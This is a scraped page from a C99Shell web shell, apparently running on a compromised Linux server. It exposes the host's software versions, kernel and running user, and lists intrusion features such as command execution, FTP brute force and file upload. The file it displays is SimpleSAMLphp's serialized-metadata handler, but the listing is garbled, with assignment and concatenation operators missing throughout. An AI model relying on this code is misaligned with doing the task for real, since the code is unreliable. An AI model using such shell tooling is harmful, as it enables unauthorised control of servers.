!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/3ros/simplesamlphp/lib/SimpleSAML/Metadata/   drwxrwxr-x
Free 13.65 GB of 61.93 GB (22.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MetaDataStorageHandlerSerialize.php (6.24 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Class for handling metadata files in serialized format.
 *
 * @package simpleSAMLphp
 * @version $Id$
 */
class SimpleSAML_Metadata_MetaDataStorageHandlerSerialize extends SimpleSAML_Metadata_MetaDataStorageSource {

    
/**
     * The file extension we use for our metadata files.
     */
    
const EXTENSION '.serialized';


    
/**
     * The base directory where metadata is stored.
     */
    
private $directory;


    
/**
     * Constructor for this metadata handler.
     *
     * Parses configuration.
     *
     * @param array $config  The configuration for this metadata handler.
     */
    
public function __construct($config) {
        
assert('is_array($config)');

        
$globalConfig SimpleSAML_Configuration::getInstance();

        
$cfgHelp SimpleSAML_Configuration::loadFromArray($config'serialize metadata source');

        
$this->directory $cfgHelp->getString('directory');

        
/* Resolve this directory relative to the simpleSAMLphp directory (unless it is
         * an absolute path).
         */
        
$this->directory $globalConfig->resolvePath($this->directory);
    }


    
/**
     * Helper function for retrieving the path of a metadata file.
     *
     * @param string $entityId  The entity ID.
     * @param string $set  The metadata set.
     * @return string  The path to the metadata file.
     */
    
private function getMetadataPath($entityId$set) {
        
assert('is_string($entityId)');
        
assert('is_string($set)');

        return 
$this->directory '/' rawurlencode($set) . '/' rawurlencode($entityId) . self::EXTENSION;
    }


    
/**
     * Retrieve a list of all available metadata sets.
     *
     * @return array  An array with the available sets.
     */
    
public function getMetadataSets() {

        
$ret = array();

        
$dh = @opendir($this->directory);
        if (
$dh === FALSE) {
            
SimpleSAML_Logger::warning('Serialize metadata handler: Unable to open directory: ' var_export($this->directoryTRUE));
            return 
$ret;
        }

        while ( (
$entry readdir($dh)) !== FALSE) {

            if (
$entry[0] === '.') {
                
/* Skip '..', '.' and hidden files. */
                
continue;
            }

            
$path $this->directory '/' $entry;

            if (!
is_dir($path)) {
                
SimpleSAML_Logger::warning('Serialize metadata handler: Metadata directory contained a file where only directories should exist: ' var_export($pathTRUE));
                continue;
            }

            
$ret[] = rawurldecode($entry);
        }

        
closedir($dh);

        return 
$ret;
    }


    
/**
     * Retrieve a list of all available metadata for a given set.
     *
     * @param string $set  The set we are looking for metadata in.
     * @return array  An associative array with all the metadata for the given set.
     */
    
public function getMetadataSet($set) {
        
assert('is_string($set)');

        
$ret = array();

        
$dir $this->directory '/' rawurlencode($set);
        if (!
is_dir($dir)) {
            
/* Probably some code asked for a metadata set which wasn't available. */
            
return $ret;
        }

        
$dh = @opendir($dir);
        if (
$dh === FALSE) {
            
SimpleSAML_Logger::warning('Serialize metadata handler: Unable to open directory: ' var_export($dirTRUE));
            return 
$ret;
        }

        
$extLen strlen(self::EXTENSION);

        while ( (
$file readdir($dh)) !== FALSE) {
            if (
strlen($file) <= $extLen) {
                continue;
            }

            if (
substr($file, -$extLen) !== self::EXTENSION) {
                continue;
            }

            
$entityId substr($file0, -$extLen);
            
$entityId rawurldecode($entityId);

            
$md $this->getMetaData($entityId$set);
            if (
$md !== NULL) {
                
$ret[$entityId] = $md;
            }
        }

        
closedir($dh);

        return 
$ret;
    }


    
/**
     * Retrieve a metadata entry.
     *
     * @param string $entityId  The entityId we are looking up.
     * @param string $set  The set we are looking for metadata in.
     * @return array  An associative array with metadata for the given entity, or NULL if we are unable to
     *         locate the entity.
     */
    
public function getMetaData($entityId$set) {
        
assert('is_string($entityId)');
        
assert('is_string($set)');

        
$filePath $this->getMetadataPath($entityId$set);

        if (!
file_exists($filePath)) {
            return 
NULL;
        }

        
$data = @file_get_contents($filePath);
        if (
$data === FALSE) {
            
SimpleSAML_Logger::warning('Error reading file ' $filePath .
                
': ' SimpleSAML_Utilities::getLastError());
            return 
NULL;
        }

        
$data = @unserialize($data);
        if (
$data === FALSE) {
            
SimpleSAML_Logger::warning('Error deserializing file: ' $filePath);
            return 
NULL;
        }

        return 
$data;
    }


    
/**
     * Save a metadata entry.
     *
     * @param string $entityId  The entityId of the metadata entry.
     * @param string $set  The metadata set this metadata entry belongs to.
     * @param array $metadata  The metadata.
     */
    
public function saveMetadata($entityId$set$metadata) {
        
assert('is_string($entityId)');
        
assert('is_string($set)');
        
assert('is_array($metadata)');

        
$filePath $this->getMetadataPath($entityId$set);
        
$newPath $filePath '.new';

        
$dir dirname($filePath);
        if (!
is_dir($dir)) {
            
SimpleSAML_Logger::info('Creating directory: ' $dir);
            
$res = @mkdir($dir0777TRUE);
            if (
$res === FALSE) {
                
SimpleSAML_Logger::error('Failed to create directory ' $dir .
                    
': ' SimpleSAML_Utilities::getLastError());
                return 
FALSE;
            }
        }

        
$data serialize($metadata);

        
SimpleSAML_Logger::debug('Writing: ' $newPath);

        
$res file_put_contents($newPath$data);
        if (
$res === FALSE) {
            
SimpleSAML_Logger::error('Error saving file ' $newPath .
                
': ' SimpleSAML_Utilities::getLastError());
            return 
FALSE;
        }

        
$res rename($newPath$filePath);
        if (
$res === FALSE) {
            
SimpleSAML_Logger::error('Error renaming ' $newPath ' to ' $filePath .
                
': ' SimpleSAML_Utilities::getLastError());
            return 
FALSE;
        }


        return 
TRUE;
    }


    
/**
     * Delete a metadata entry.
     *
     * @param string $entityId  The entityId of the metadata entry.
     * @param string $set  The metadata set this metadata entry belongs to.
     */
    
public function deleteMetadata($entityId$set) {
        
assert('is_string($entityId)');
        
assert('is_string($set)');

        
$filePath $this->getMetadataPath($entityId$set);

        if (!
file_exists($filePath)) {
            
SimpleSAML_Logger::warning('Attempted to erase non-existant metadata entry ' .
                
var_export($entityIdTRUE) . ' in set ' var_export($setTRUE) . '.');
            return;
        }

        
$res unlink($filePath);
        if (
$res === FALSE) {
            
SimpleSAML_Logger::error('Failed to delete file ' $filePath .
                
': ' SimpleSAML_Utilities::getLastError());
        }
    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4834 ]--